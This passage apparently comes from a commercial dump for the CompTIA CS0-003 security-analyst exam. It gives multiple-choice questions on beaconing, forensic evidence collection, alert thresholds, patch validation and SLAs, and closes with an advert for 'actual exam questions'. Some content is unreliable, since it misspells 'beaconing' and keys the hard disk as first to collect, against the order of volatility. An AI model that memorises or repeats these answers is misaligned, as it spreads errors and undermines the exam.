the policies and procedures for handling such information securely and appropriately. Employee training and awareness can also help foster a security culture and encourage employees to report any incidents or violations of information security.

**NEW QUESTION 86**

A cybersecurity analyst is reviewing SIEM logs and observes consistent requests originating from an internal host to a blocklisted external server. Which of the following best describes the activity that is taking place?

- A. Data exfiltration
- B. Rogue device
- C. Scanning
- D. Beaconsing

**Answer:** D

**Explanation:**

Beaconsing is the best term to describe the activity that is taking place, as it refers to the periodic communication between an infected host and a blocklisted external server. Beaconsing is a common technique used by malware to establish a connection with a command-and-control (C2) server, which can provide instructions, updates, or exfiltration capabilities to the malware. Beaconsing can vary in frequency, duration, and payload, depending on the type and sophistication of the malware. The other terms are not as accurate as beaconsing, as they describe different aspects of malicious activity. Data exfiltration is the unauthorized transfer of data from a compromised system to an external destination, such as a C2 server or a cloud storage service. Data exfiltration can be a goal or a consequence of malware infection, but it does not necessarily involve blocklisted servers or consistent requests. Rogue device is a device that is connected to a network without authorization or proper security controls. Rogue devices can pose a security risk, as they can introduce malware, bypass firewalls, or access sensitive data. However, rogue devices are not necessarily infected with malware or communicating with blocklisted servers. Scanning is the process of probing a network or a system for vulnerabilities, open ports, services, or other information. Scanning can be performed by legitimate administrators or malicious actors, depending on the intent and authorization. Scanning does not imply consistent requests or blocklisted servers, as it can target any network or system.

**NEW QUESTION 89**

An incident response team found IoCs in a critical server. The team needs to isolate and collect technical evidence for further investigation. Which of the following pieces of data should be collected first in order to preserve sensitive information before isolating the server?

- A. Hard disk
- B. Primary boot partition
- C. Malicious tiles
- D. Routing table
- E. Static IP address

**Answer:** A

**Explanation:**

The hard disk is the piece of data that should be collected first in order to preserve sensitive information before isolating the server. The hard disk contains all the files and data stored on the server, which may include evidence of malicious activity, such as malware installation, data exfiltration, or configuration changes. The hard disk should be collected using proper forensic techniques, such as creating an image or a copy of the disk and maintaining its integrity using hashing algorithms.

**NEW QUESTION 92**

Which of the following is often used to keep the number of alerts to a manageable level when establishing a process to track and analyze violations?

- A. Log retention
- B. Log rotation
- C. Maximum log size
- D. Threshold value

**Answer:** D

**Explanation:**

A threshold value is a parameter that defines the minimum or maximum level of a metric or event that triggers an alert. For example, a threshold value can be set to alert when the number of failed login attempts exceeds 10 in an hour, or when the CPU usage drops below 20% for more than 15 minutes. By setting a threshold value, the process can filter out irrelevant or insignificant alerts and focus on the ones that indicate a potential problem or anomaly. A threshold value can help to reduce the noise and false positives in the alert system, and improve the efficiency and accuracy of the analysis<sup>12</sup>

**NEW QUESTION 94**

A technician identifies a vulnerability on a server and applies a software patch. Which of the following should be the next step in the remediation process?

- A. Testing
- B. Implementation
- C. Validation
- D. Rollback

**Answer:** C

**Explanation:**

The next step in the remediation process after applying a software patch is validation. Validation is a process that involves verifying that the patch has been successfully applied, that it has fixed the vulnerability, and that it has not caused any adverse effects on the system or application functionality or performance. Validation can be done using various methods, such as scanning, testing, monitoring, or auditing.

**NEW QUESTION 97**

An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The

company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft. Which of the following would be the best threat intelligence source to learn about this new campaign?

- A. Information sharing organization
- B. Blogs/forums
- C. Cybersecurity incident response team
- D. Deep/dark web

**Answer:** A

**Explanation:**

An information sharing organization is a group or network of organizations that share threat intelligence, best practices, or lessons learned related to cybersecurity issues or incidents. An information sharing organization can help security analysts learn about new ransomware campaigns or other emerging threats, as well as get recommendations or guidance on how to prevent, detect, or respond to them. An information sharing organization can also help security analysts collaborate or coordinate with other organizations in the same industry or region that may face similar threats or challenges.

**NEW QUESTION 100**

A SOC manager receives a phone call from an upset customer. The customer received a vulnerability report two hours ago: but the report did not have a follow-up remediation response from an analyst. Which of the following documents should the SOC manager review to ensure the team is meeting the appropriate contractual obligations for the customer?

- A. SLA
- B. MOU
- C. NDA
- D. Limitation of liability

**Answer:** A

**Explanation:**

SLA stands for service level agreement, which is a contract or document that defines the expectations and obligations between a service provider and a customer regarding the quality, availability, performance, or scope of a service. An SLA may also specify the metrics, penalties, or remedies for measuring or ensuring compliance with the agreed service levels. An SLA can help the SOC manager review if the team is meeting the appropriate contractual obligations for the customer, such as response time, resolution time, reporting frequency, or communication channels.

**NEW QUESTION 102**

.....



## Thank You for Trying Our Product

### We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

### CS0-003 Practice Exam Features:

- \* CS0-003 Questions and Answers Updated Frequently
- \* CS0-003 Practice Questions Verified by Expert Senior Certified Staff
- \* CS0-003 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- \* CS0-003 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

**100% Actual & Verified — Instant Download, Please Click**  
**[Order The CS0-003 Practice Test Here](#)**